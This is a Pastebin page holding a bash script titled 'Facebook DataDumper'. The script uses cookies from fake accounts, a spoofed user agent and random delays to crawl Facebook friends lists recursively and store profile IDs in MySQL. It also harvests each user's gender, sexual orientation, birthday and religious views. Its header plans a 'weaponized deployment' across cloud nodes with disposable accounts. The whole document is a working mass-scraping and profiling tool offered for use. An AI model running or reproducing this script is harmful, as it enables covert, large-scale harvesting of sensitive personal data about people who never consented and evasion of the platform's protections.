Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- ##########################
- # Facebook DataDumper Version 1.1
- # This script will dump & parse raw HTML for users "friends list" and "General profile info",
- # This can be expanded following the same steps below(I didnt because of a moral issue)
- # During the development/testing, we were able to pull 300 accounts in a matter of 300+ account in under 60 Seconds.
- #
- # - Weaponized Deployment
- # - Deploy nodes in AWS/GOOGLE/SEA (They are going to get burnt fast!)
- # - Fake accounts for the cookies (Account are going to be burnt fast, maybe a bunch of accounts!)
- # - Add 5+ random users "ID" to the profiles table, run the vacuum
- #
- # By jmp2fail
- #
- ###################################
- user="hd"
- password="pass"
- host="127.0.0.1"
- # Get some basic info to demonstrate the issue
- while :
- do
- sleep $[ ( $RANDOM % 10 ) + 1 ]s
- Profiles_to_pull=$(mysql -u $user -p$password -h $host FB_Testdata --skip-column-names -e "SELECT Profile_ID FROM Profiles WHERE pulled is NULL LIMIT 15")
- for Profile_ID in $Profiles_to_pull; do
- Root_ID="$(echo $Profile_ID)"
- echo $Profile_ID
- Root_ID="$(echo $Profile_ID)"
- sleep $[ ( $RANDOM % 15 ) + 1 ]s
- # Pull the friends
- Profile_Friends_List="$(wget --load-cookies=cookies.txt -U "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)" -O - https://www.facebook.com/$Profile_ID/friends | sed 's/testid/\n/g' | ggrep -o -P '(?<=uiProfileBlockContent\"\>\<div\ class\=\"\_6a\"\>\<div\ class\=\"\_6a\ \_6b\"\ style\=\"height\:100px\"\>\<\/div\>\<div\ class\=\"\_6a\ \_6b\"\>\<div\ class\=\"fsl\ fwb\ fcb\"\>\<a\ href\=\"https\:\/\/www\.facebook\.com\/).*(?=\?fref\=pb\&\;hc\_location\=friends\_tab\")')"
- for Profile_ID_New in $Profile_Friends_List;
- do
- notnew=$(mysql -u $user -p$password -h $host FB_Testdata --skip-column-names -e "SELECT Profile_ID FROM Profiles WHERE Profile_ID = '$Profile_ID_New'")
- echo $notnew
- if [ -z "$notnew" ];
- then
- echo "friends"
- mysql -u $user -p$password -h $host FB_Testdata -e "insert into Profiles (Profile_ID,Root_ID) values ('$Profile_ID_New' , '$Root_ID')"
- fi
- done
- # Pull the profile
- notnew=$(mysql -u $user -p$password -h $host --skip-column-names FB_Testdata -e "SELECT Profile_ID FROM Profiles_data WHERE Profile_ID = '$Profile_ID'")
- if [ -z "$notnew" ];
- then
- echo "profle dump"
- sleep $[ ( $RANDOM % 15 ) + 1 ]s
- Profile_Info="$(wget --load-cookies=cookies.txt -U "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)" -O - https://www.facebook.com/$Profile_ID/about?section=contact-info)"
- Profile_Gender="$(echo $Profile_Info | ggrep -o -P 'Gender.{0,90}' | sed 's/Gender.*>/ /g')"
- Profile_Orientation="$(echo $Profile_Info | ggrep -o -P 'Interested.{0,92}' | sed 's/Interested.*>//g')"
- Profile_DOB="$(echo $Profile_Info | ggrep -o -P 'Birthday.{0,103}' | sed 's/Birthday.*2iem">//g' | sed 's/<.*//g')"
- Profile_Religious="$(echo $Profile_Info | ggrep -o -P 'Religious.{0,335}' | ggrep -o -P 'Religious.{0,335}' | sed 's/Religious.*"1">//g' )"
- echo $Profile_Gender
- echo $Profile_Orientation
- echo $Profile_DOB
- echo $Profile_LivesIn
- mysql -u $user -p$password -h $host FB_Testdata -e "insert into Profiles_data (Profile_ID,Profile_Gender,Profile_DOB,Profile_Orientation,Profile_Religious_Views) values ('$Profile_ID', '$Profile_Gender', '$Profile_DOB', '$Profile_Orientation', '$Profile_Religious')"
- mysql -u $user -p$password -h $host FB_Testdata -e "UPDATE Profiles SET Pulled = '1' WHERE Profile_ID = '$Profile_ID'"
- fi
- done
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement